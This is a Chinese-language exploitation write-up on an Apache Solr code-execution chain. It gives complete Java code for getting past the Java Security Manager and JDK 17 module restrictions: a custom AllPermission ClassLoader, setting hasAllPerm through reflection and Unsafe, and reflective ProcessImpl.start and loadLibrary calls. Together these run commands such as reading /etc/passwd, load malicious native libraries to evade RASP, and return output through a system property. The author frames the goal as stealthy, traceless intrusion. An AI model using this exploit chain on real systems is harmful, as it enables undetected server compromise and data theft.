目录:
Java Security Manager绕过
ProcessBuilder测试
自定义ClassLoader绕过
反射利用getProtectionDomain0绕过
Unsafe绕过JDK17的限制
反射利用ProcessImpl绕过
JNI绕过RASP
一次失败的尝试
一次成功的尝试
命令执行回显
后记
Solr使用了Java Security Manager,因此执行代码会受到沙箱限制
我们写一个简单的命令执行
1. `package zk_backup_0.configs.conf1;`
3. `import java.io.*;`
5. `public class Exp {`
6. `static {`
7. `try {`
8. `String command = "head -n 5 /etc/passwd";`
9. `ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));`
10. `Process process = builder.start();`
11. `BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));`
12. `String line = reader.readLine();`
13. `String res = "";`
14. `while (line != null) {`
15. `res = res + line + "\n";`
16. `line = reader.readLine();`
17. `}`
18. `reader.close();`
19. `System.out.println(res);`
20. `new File("/tmp/success").createNewFile();`
21. `FileOutputStream stream = new FileOutputStream("/tmp/success");`
22. `stream.write(res.getBytes());`
23. `}catch (Exception e) {`
24. `e.printStackTrace();`
25. `}`
26. `}`
27. `}`
编译后按照漏洞复现的步骤令其被加载,可以发现命令并没有被执行成功,我们查看控制台日志 /var/solr/logs/solr-8983-console.log
注意
/var/solr/logs/
下面放的日志有solr的运行日志,请求日志,控制台日志等,我们这里编写的恶意类触发的是java沙箱的限制,不在solr运行日志中,因此需要查看控制台日志
1. `java.security.AccessControlException: access denied ("java.io.FilePermission" "<<ALL FILES>>" "execute")`
2. `at java.base/java.security.AccessControlContext.checkPermission(Unknown Source)`
3. `at java.base/java.security.AccessController.checkPermission(Unknown Source)`
4. `at java.base/java.lang.SecurityManager.checkPermission(Unknown Source)`
5. `at java.base/java.lang.SecurityManager.checkExec(Unknown Source)`
6. `at java.base/java.lang.ProcessBuilder.start(Unknown Source)`
7. `at java.base/java.lang.ProcessBuilder.start(Unknown Source)`
8. `at zk_backup_0.configs.conf1.Exp.<clinit>(Exp.java:10)`
9. `...`
在控制台日志的异常信息中,可以看到缺少了 execute
的权限,而在堆栈中可以看到正是 zk_backup_0.configs.conf1.Exp
中的 ProcessBuilder.start()
方法触发的,因此我们不可以直接使用其执行命令
我们进入容器看一下java启动参数
1. `ps aux|grep java`
2. `# solr 585 1.6 10.4 10480400 843664 pts/0 Sl Feb21 5:15 /opt/java/openjdk/bin/java -server -Xms512m -Xmx512m -XX:+UseG1GC -XX:+PerfDisableSharedMem -XX:+ParallelRefProcEnabled -XX:MaxGCPauseMillis=250 -XX:+UseLargePages -XX:+AlwaysPreTouch -XX:+ExplicitGCInvokesConcurrent -Xlog:gc*:file=/var/solr/logs/solr_gc.log:time,uptime:filecount=9,filesize=20M -Dsolr.jetty.inetaccess.includes= -Dsolr.jetty.inetaccess.excludes= -DzkClientTimeout=30000 -DzkRun -Dsolr.log.dir=/var/solr/logs -Djetty.port=8983 -DSTOP.PORT=7983 -DSTOP.KEY=solrrocks -Duser.timezone=UTC -XX:-OmitStackTraceInFastThrow -XX:OnOutOfMemoryError=/opt/solr/bin/oom_solr.sh 8983 /var/solr/logs -Djetty.home=/opt/solr/server -Dsolr.solr.home=/var/solr/data -Dsolr.data.home= -Dsolr.install.dir=/opt/solr -Dsolr.default.confdir=/opt/solr/server/solr/configsets/_default/conf -Dlog4j.configurationFile=/var/solr/log4j2.xml -Dsolr.jetty.host=0.0.0.0 -Xss256k -Djava.security.manager -Djava.security.policy=/opt/solr/server/etc/security.policy -Djava.security.properties=/opt/solr/server/etc/security.properties -Dsolr.internal.network.permission=* -DdisableAdminUI=false -Dsolr.log.muteconsole -jar start.jar --module=http --module=requestlog --module=gzip`
可以看到用于设置Java Security Manager的参数 -Djava.security.manager-Djava.security.policy=/opt/solr/server/etc/security.policy-Djava.security.properties=/opt/solr/server/etc/security.properties
可知配置文件在 /opt/solr/server/etc/security.policy
,我们可以分析下有什么绕过的方法
如果下载了源码的话,也可以直接在
solr-releases-solr-9.0.0\solr\server\etc
中找到security.policy
,绕过java沙箱可以参考这篇文章:https://www.mi1k7ea.com/2020/05/03/浅析Java沙箱逃逸/
一通研究后发现里面有这个权限: permission java.lang.RuntimePermission"createClassLoader";
也就是我们可以自定义一个ClassLoader来进行绕过
原理具体看上面提到的文章,这里直接给一个可以在solr下利用的demo
命令执行类
1. `package zk_backup_0.configs.conf1;`
3. `import java.io.BufferedReader;`
4. `import java.io.File;`
5. `import java.io.FileOutputStream;`
6. `import java.io.InputStreamReader;`
7. `import java.security.AccessController;`
8. `import java.security.PrivilegedAction;`
10. `public class ExpBypassExec {`
12. `public ExpBypassExec() {}`
14. `static {`
15. `AccessController.doPrivileged(new PrivilegedAction() {`
16. `public Object run() {`
17. `try {`
18. `String command = "head -n 5 /etc/passwd";`
19. `ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));`
20. `Process process = builder.start();`
21. `BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));`
22. `String line = reader.readLine();`
23. `String res = "";`
24. `while (line != null) {`
25. `res = res + line + "\n";`
26. `line = reader.readLine();`
27. `}`
28. `reader.close();`
29. `System.out.println(res);`
30. `new File("/tmp/success").createNewFile();`
31. `FileOutputStream stream = new FileOutputStream("/tmp/success");`
32. `stream.write(res.getBytes());`
33. `return null;`
34. `} catch (Exception e) {`
35. `e.printStackTrace();`
36. `return null;`
37. `}`
38. `}`
39. `});`
40. `}`
41. `}`
自定义ClassLoader
1. `package zk_backup_0.configs.conf1;`
3. `import java.io.ByteArrayOutputStream;`
4. `import java.io.File;`
5. `import java.io.FileInputStream;`
6. `import java.net.URL;`
7. `import java.nio.ByteBuffer;`
8. `import java.nio.channels.Channels;`
9. `import java.nio.channels.FileChannel;`
10. `import java.nio.channels.WritableByteChannel;`
11. `import java.security.*;`
12. `import java.security.cert.Certificate;`
13. `import java.util.Arrays;`
15. `public class ExpBypassLoader extends ClassLoader {`
16. `public ExpBypassLoader() {}`
18. `public ExpBypassLoader(ClassLoader loader) {`
19. `super(loader);`
20. `}`
22. `@Override`
23. `public Class<?> loadClass(String name) throws ClassNotFoundException {`
24. `if (name.contains("ExpBypassExec")) {`
25. `return findClass(name);`
26. `}`
27. `return super.loadClass(name);`
28. `}`
30. `@Override`
31. `protected Class<?> findClass(String name) throws ClassNotFoundException {`
32. `File file = getClassFile(name);`
33. `try {`
34. `byte[] bytes = getClassBytes(file);`
35. `Class<?> c = defineClazz(name, bytes, 0, bytes.length);`
36. `return c;`
37. `} catch (Exception e) {`
38. `e.printStackTrace();`
39. `}`
41. `return super.findClass(name);`
42. `}`
44. `protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {`
45. `try {`
46. `PermissionCollection pc = new Permissions();`
47. `pc.add(new AllPermission());`
48. ` `
49. `ProtectionDomain pd = new ProtectionDomain(new CodeSource((URL) null, (Certificate[]) null),`
50. `pc, this, null);`
52. `return this.defineClass(name, b, off, len, pd);`
53. `} catch (Exception e) {`
54. `e.printStackTrace();`
55. `return null;`
56. `}`
57. `}`
59. `private File getClassFile(String name) {`
60. `// 注意这里的classpath不是默认的,因此需要手动指定我们上传class的目录和文件`
61. `String path = name.replace(".", "/");`
62. `File file = new File("/var/solr/data/collection2_shard1_replica_n1/lib/collection1/" + path + ".class");`
63. `return file;`
64. `}`
66. `private byte[] getClassBytes(File file) throws Exception {`
67. `FileInputStream fis = new FileInputStream(file);`
68. `FileChannel fc = fis.getChannel();`
69. `ByteArrayOutputStream baos = new ByteArrayOutputStream();`
70. `WritableByteChannel wbc = Channels.newChannel(baos);`
71. `ByteBuffer by = ByteBuffer.allocate(1024);`
73. `while (true) {`
74. `int i = fc.read(by);`
75. `if (i == 0 || i == -1) {`
76. `break;`
77. `}`
79. `by.flip();`
80. `wbc.write(by);`
81. `by.clear();`
82. `}`
83. `fis.close();`
84. `return baos.toByteArray();`
85. `}`
86. `}`
入口函数
1. `package zk_backup_0.configs.conf1;`
3. `public class ExpBypassMain {`
4. `static {`
5. `ExpBypassLoader loader = new ExpBypassLoader();`
7. `try {`
8. `// 注意需要使用全限定类名,不然自定义的classloader是加载不到的`
9. `Class<?> clz = Class.forName("zk_backup_0.configs.conf1.ExpBypassExec", true, loader);`
10. `Object object = clz.newInstance();`
11. `} catch (Exception e) {`
12. `throw new RuntimeException(e);`
13. `}`
15. `}`
16. `}`
将以上三个类编译后生成的类文件全部放入 conf1
,注意有4个类文件
前面我们提到由于solr docker的jdk是17.10,为了防止版本差异导致运行出错,我们也使用jdk17编译,然而这个绕过姿势中的AccessController类在jdk17中废弃了,不过亲测jdk8编译也是可以的
1. `conf1`
2. `├── ExpBypassExec$1.class`
3. `├── ExpBypassExec.class`
4. `├── ExpBypassLoader.class`
5. `├── ExpBypassMain.class`
6. `├── lang`
7. `├── managed-schema.xml`
8. `├── protwords.txt`
9. `├── solrconfig.xml`
10. `├── stopwords.txt`
11. `└── synonyms.txt`
接着将 conf2
的 solrconfig.xml
中加载的类修改为 zk_backup_0.configs.conf1.ExpBypassMain
最后的流程就和漏洞复现一样了,最终我们可以在 tmp/success
下看到我们命令执行并写入的文件
在测试过程中(如果不调试的话),遇到的问题可以查看日志解决,主要是solr运行日志 /var/solr/logs/solr.log
,在加载恶意类时可以在这个日志查看详细的异常堆栈;还有solr控制台日志 /var/solr/logs/solr-8983-console.log
,可以自己在代码中抛一些异常或者打印一些变量
这里还有另一个更简单的绕过方式,我们注意到这里有这样两个权限:
1. `permission java.lang.reflect.ReflectPermission "suppressAccessChecks";`
2. `permission java.lang.RuntimePermission "accessDeclaredMembers";`
即反射权限和访问私有成员的权限,也就是说可能有很多种反射的姿势可以利用
这里我们需要通过反射修改Java Security Manager检查的 ProtectionDomain
,其权限原本写在 security.policy
中,没有写代表没有权限,但是我们可以通过反射去修改其属性,让其拥有权限
具体原理参考博客,这里直接给实现
在 java.security.ProtectionDomain
中,有这么一个变量: java.security.ProtectionDomain#hasAllPerm
其用于标记该类是否拥有所有权限,我们现在的任务就是通过反射将其修改为true,其实现方式若如下:
1. `// 1. 获取类`
2. `Class clz = Class.forname("xxx");`
3. `// 2. 获取其ProtectionDomain`
4. `// 3. 通过反射获取ProtectionDoamin的hasAllPerm字段`
5. `Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");`
6. `// 4. 设置其可修改`
7. `field.setAccessible(true);`
8. `// 5. 将hasAllPerm设置为true`
9. `field.set(clz.getProtectionDomain(), true);`
会发现提示没有 getProtectionDomain
的权限,这是因为在 java.lang.Class#getProtectionDomain
中,会调用SecurityManager对其进行权限检查
我们简单分析后可以发现,在权限检查后,还调用了 protectionDomain
和 getProtectionDomain0
,因此我们通过反射,在权限检查后调用这两个方法任意一个即可,作者博客的demo如下:
1. `public static void main(String[] args) throws Exception {`
2. `StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();`
3. `// 遍历栈帧`
4. `for (StackTraceElement stackTraceElement : stackTraceElements) {`
5. `try {`
6. `Class clz = Class.forName(stackTraceElement.getClassName());`
7. `// 利用反射调用getProtectionDomain0方法`
8. `Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);`
9. `getProtectionDomain.setAccessible(true);`
10. `// 获取ProtectionDomain`
11. `ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);`
12. `// 反射设置hasAllPerm为true`
13. `if (pd != null) {`
14. `Field field = pd.getClass().getDeclaredField("hasAllPerm");`
15. `field.setAccessible(true);`
16. `field.set(pd, true);`
17. `}`
18. `} catch (Exception e) {`
19. `e.printStackTrace();`
20. `}`
21. `}`
22. `Runtime.getRuntime().exec("calc");`
23. `}`
作者这么运行,确实弹出了计算器,但是这就结束了吗?:)
还记得我们的运行环境吗:jdk17,在jdk17下,这么做会出现这个异常:
1. `java.lang.reflect.InaccessibleObjectException: Unable to make private native java.security.ProtectionDomain java.lang.Class.getProtectionDomain0() accessible: module java.base does not "opens java.lang" to unnamed module @2957fcb0`
抛异常的位置在 xxx.setAccessible(true);
处,这是因为从jdk17开始,不再允许通过反射访问 java.*
中的非公开变量和方法了
具体的改动在jep 403:https://openjdk.org/jeps/403
1. Summary ------- 2. Strongly encapsulate all internal elements of the JDK, except for critical 3. internal APIs such as `sun.misc.Unsafe`. It will no longer be possible to 4. relax the strong encapsulation of internal elements via a single command- 5. line option, as was possible in JDK 9 through JDK 16.
在jdk9~16中会抛警告,从jdk17开始直接抛异常
第一点说的是对jdk代码的强封装,第二点说的是Unsafe还可以用
这要怎么绕过呢?
参考:https://pankas.top/2023/12/05/jdk17-反射限制绕过/
在这篇博客中,提到了通过Unsafe来实现,Unsafe的知识参考https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html,其提供了直接操作java内存和类的方式,这里就是利用了Unsafe还可以用这一点来绕过
原文博客的分析讲的很详细了,这里直接给实现:
1. `package zk_backup_0.configs.conf1;`
3. `import sun.misc.Unsafe;`
5. `import java.lang.reflect.Field;`
6. `import java.lang.reflect.Method;`
7. `import java.security.ProtectionDomain;`
9. `public class ExpBypass4 {`
11. `public static void main(String[] args) throws Exception {`
12. `StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();`
13. `//遍历栈帧`
14. `for (StackTraceElement stackTraceElement : stackTraceElements) {`
15. `try {`
16. `// 获取Unsafe`
17. `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
18. `unsafeField.setAccessible(true);`
19. `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
20. `// 获取Object的Module`
21. `Module module = Object.class.getModule();`
22. `Class<?> currentClass = ExpBypass4.class;`
23. `// 通过Unsafe设置类的module为Object类的module(绕过jdk限制的关键),使其能够被访问(并修改)`
24. `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
25. `unsafe.getAndSetObject(currentClass, addr, module);`
26. `// 获取类`
27. `Class clz = Class.forName(stackTraceElement.getClassName());`
28. `// 利用反射调用getProtectionDomain0方法获取ProtectionDomain`
29. `Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);`
30. `getProtectionDomain.setAccessible(true);`
31. `ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);`
32. `// 将ProtectionDomain的hasAllPerm修改为true,使其拥有所有权限`
33. `if (pd != null) {`
34. `Field field = pd.getClass().getDeclaredField("hasAllPerm");`
35. `field.setAccessible(true);`
36. `field.set(pd, true);`
37. `}`
38. `} catch (Exception e) {`
39. `e.printStackTrace();`
40. `}`
41. `}`
42. `Runtime.getRuntime().exec("calc");`
43. `}`
44. `}`
看看效果:
到此,我们就实现了单文件绕过JDK17、Java Security Manager的限制实现任意代码执行
既然我们已经可以反射访问
java.*
了,这里也可以直接反射调用java.lang.ProcessImpl#start
来绕过Java Security Manager的检查,而不用去赋予栈帧权限,代码如下:
1. `public class ExpTest {`
3. `static {`
4. `try {`
6. `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
7. `unsafeField.setAccessible(true);`
8. `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
10. `Module module = Object.class.getModule();`
11. `Class<?> currentClass = ExpTest.class;`
13. `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
14. `unsafe.getAndSetObject(currentClass, addr, module);`
16. `String[] cmd = {"head", "-n", "5", "/etc/passwd"};`
17. `Class clz = Class.forName("java.lang.ProcessImpl");`
18. `Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);`
19. `method.setAccessible(true);`
20. `Process process = (Process) method.invoke(clz, cmd, null, null, null, false);`
22. `} catch (Exception e) {`
23. `e.printStackTrace();`
24. `}`
25. `}`
26. `}`
对于这个漏洞,是非常典型的“无特征”型的通用漏洞(此处是我自己下的定义:)),这是什么意思呢,即这个漏洞所有请求都是正常的业务行为,在waf层是无法防御的;
在应用层上,就只能靠rasp去防御了,而对于此漏洞的调用链,也是没有明显通用特征的,由于漏洞利用的是
create
/backup
/upload
这些业务常用的接口,所以hook这些方法可能对性能影响很大,就只能依赖于捕获攻击者后利用的调用方法了,例如Runtime.getRuntime().exec("calc");
之类的因此如果能实现命令执行绕过rasp,也就基本实现了无感入侵
前置知识:JNI实现RCE:https://javasec.org/javase/JNI/
在上文的基础上,我们赋予了所有栈帧全部权限,所以其实直接使用
System.load()
去加载动态链接库就可以了;不过一开始我想通过一个另外的方法来实现
直接执行 System.load()
的话,会受到Java Security Manager的限制,我们首先查看 security.policy
,可以看到关于 loadLibrary
的权限有如下几个:
1. `permission java.lang.RuntimePermission "loadLibrary.jaas";`
2. `permission java.lang.RuntimePermission "loadLibrary.jaas_unix";`
3. `permission java.lang.RuntimePermission "loadLibrary.jaas_nt";`
也就是我们能且只能执行以下代码:
1. `System.loadLibrary("jaas");`
2. `System.loadLibrary("jaas_unix");`
3. `System.loadLibrary("jaas_nt");`
在我的知识范围内(超纲的知识请大佬们教我orz),思索了几种利用方式,若大佬们有更好的利用姿势求教!!大概有以下几个:
1. 写白名单的动态链接库(失败)
在一通查找后,发现只有 libjaas.so
是默认存在的,所以我们可以在动态链接库目录下写入名为 libjaas_unix.so
或 libjaas_nt.so
的恶意动态链接库,然后在代码里面直接通过 System.loadLibrary("jaas_unix");
加载并执行命令
个人测试未成功原因:
System.loadLibrary()
会在 java.library.path
和 sun.boot.library.path
里查找动态链接库,而这两者分别为
1. `# java.library.path`
2. `/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib`
3. `# sun.boot.library.path`
4. `/opt/java/openjdk/lib`
在分析 security.policy
中所有具有写权限( permission java.io.FilePermission"${xxx}","write";
)的目录后,发现是没有可以利用的,所以直接写入默认动态链接库目录的方式失败了
2. 手动设置动态链接库目录(失败)
java中可以通过 System.setProperty("java.library.path",path)
的方式设置动态链接库目录,然而动态链接库只在jvm启动时会初始化,在jvm启动后就无法再动态改变
我们在setter后,再执行getter获取到的环境变量虽然是我们设置的path,但实际上在loadLibrary时是不会生效的
有什么方法可以动态修改呢?是有的
参考:https://fahdshariff.blogspot.com/2011/08/changing-java-library-path-at-runtime.html
具体分析看参考博客,简单说就是在 java.lang.ClassLoader#loadLibrary
中,有这么一段代码:
1. `if (sys_paths == null) {`
2. `usr_paths = initializePath("java.library.path");`
3. `sys_paths = initializePath("sun.boot.library.path");`
4. `}`
initializePath("java.library.path");
的作用就是初始化动态链接库目录
我们只需要通过反射将 sys_paths
设置为空,就可以在执行 loadLibrary
时触发其重新初始化,加载到我们设置的path
但这只是低版本jdk的实现方式:)
在高版本jdk的 java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)
中修改了逻辑和实现,我还没找到可以触发其重新加载动态链接库的方法:),所以最终测试也失败了(这也是坑了我最久的地方,一直在思考怎么触发其重新加载)
在受到反射调用
ProcessImpl
思路的启发后,我看了下System.loadLibrary()
的调用关系,果不其然发现了一个类似的方式
我们看下这个调用堆栈:
1. `# 自底而上`
2. `System.loadLibrary("jaas");`
3. `java.lang.System#loadLibrary`
4. `java.lang.Runtime#loadLibrary0`
5. `java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)`
6. `jdk.internal.loader.NativeLibraries#loadLibrary(java.lang.Class<?>, java.lang.String)`
在其中发现,只有 java.lang.Runtime#loadLibrary0
会进行 SecurityManager
检查
这就好办了,直接反射调用后面的方法就行
最终实现代码:
1. `package zk_backup_0.configs.conf1;`
3. `import sun.misc.Unsafe;`
5. `import java.io.File;`
6. `import java.io.IOException;`
7. `import java.lang.reflect.Field;`
8. `import java.lang.reflect.Method;`
10. `public class ExpBypass7 {`
12. `public static void main(String[] args) throws IOException {`
14. `try {`
15. `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
16. `unsafeField.setAccessible(true);`
17. `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
19. `Module module = Object.class.getModule();`
20. `Class<?> currentClass = ExpBypass7.class;`
22. `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
23. `unsafe.getAndSetObject(currentClass, addr, module);`
25. `// 反射调用java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)加载恶意动态链接库`
26. `Class<?> clz = ClassLoader.class;`
27. `Method method = clz.getDeclaredMethod("loadLibrary", Class.class, File.class);`
28. `method.setAccessible(true);`
29. `File file = new File("D:\\xxx\\zk_backup_0\\configs\\conf1\\cmd.dll");`
30. `method.invoke(null, currentClass, file);`
32. `} catch (Exception e) {`
33. `e.printStackTrace();`
34. `}`
36. `CommandExec commandExec = new CommandExec();`
37. `String cmd = commandExec.exec("calc");`
38. `}`
39. `}`
具体漏洞利用时将 libxxx.so
、类文件、Exp一起打包上传即可
到上面为止,我们实现了远程任意代码执行,但是执行后并不会产生回显,所以我在寻找一种可以获得执行结果的方式:
比较通用的获得回显的方式无非就web/ftp/dns等带外到vps上,但我总觉得这种产生 “网络外连” 的方式很容易被抓到,所以不太想使用(我们连rasp都绕了,最后倒在网络外连上就太亏了)
寻找一个通过web直接访问的页面,或者api可以获取的文件,进行写操作
很快我就决定用第二种方式了,因为我们知道我们上传的 Exp.class
在 http://192.168.232.128:8983/solr/#/~cloud?view=tree
处,所以我就在思考:能不能将命令执行结果写到这些配置里面,然后直接访问去读
但是一通分析后我放弃了,因为他这些东西不是直接转储到本地目录的,而是通过zookeeper进行存储;zookeeper存储文件的方式不太寻常(没深入研究...他会把文件用几个十六进制存储于 /var/solr/data/zoo_data/version-2
下),目录可写,但写完无法通过http请求直接读,因为他会通过zk的api解析后返回,意味着若不是通过zk的api存储的话,就无法解析并读出
这可怎么办呢,在漫无目的的乱点页面的时候,我突然发现了一个地方怪怪的:
还记得我在JNI绕RASP中提到的,我的一个失败的测试想法吗?
我这里通过setter操作设置了动态链接库目录,虽然无法生效,但getter确实是会获得我设置的目录的
所以我在发现 JavaProperties
选项卡中这一信息后,立刻想到了:
我的setter操作成功设置了一个字符串作为目录
选项卡返回的信息等同于执行了一个getter操作
目录可控,返回信息可读,这不就达成了我们的回显的所有条件了吗?
废话不多说,直接上代码实现:
1. `package zk_backup_0.configs.conf1;`
3. `import sun.misc.Unsafe;`
5. `import java.io.BufferedReader;`
6. `import java.io.File;`
7. `import java.io.FileOutputStream;`
8. `import java.io.InputStreamReader;`
9. `import java.lang.reflect.Field;`
10. `import java.lang.reflect.Method;`
11. `import java.util.Map;`
14. `public class ExpTest {`
16. `static {`
17. `try {`
19. `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
20. `unsafeField.setAccessible(true);`
21. `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
23. `Module module = Object.class.getModule();`
24. `Class<?> currentClass = ExpTest.class;`
26. `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
27. `unsafe.getAndSetObject(currentClass, addr, module);`
29. `// String command = "head -n 5 /etc/passwd";`
30. `String[] cmd = {"head", "-n", "5", "/etc/passwd"};`
31. `Class clz = Class.forName("java.lang.ProcessImpl");`
32. `Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);`
33. `method.setAccessible(true);`
34. `Process process = (Process) method.invoke(clz, cmd, null, null, null, false);`
35. `BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));`
36. `String line = reader.readLine();`
38. `String res = "";`
39. `while (line != null) {`
40. `res = res + line + "\n";`
41. `line = reader.readLine();`
42. `}`
43. `reader.close();`
44. `System.setProperty("java.library.path", res);`
46. `} catch (Exception e) {`
47. `e.printStackTrace();`
48. `}`
49. `}`
50. `}`
执行完了直接通过http访问:
可以看到 java.library.path
已经被我们设置成了命令执行的结果,直接读就可以了
到此,我们就绕过了Java Security Manager和JDK 17的限制,实现了任意代码执行及回显,其实还遗留了一些瑕疵没有解决,例如高版本jdk下如何使 System.setProperty()
在运行时生效,这个后续有思路再研究了....或者dalao们求教!!orz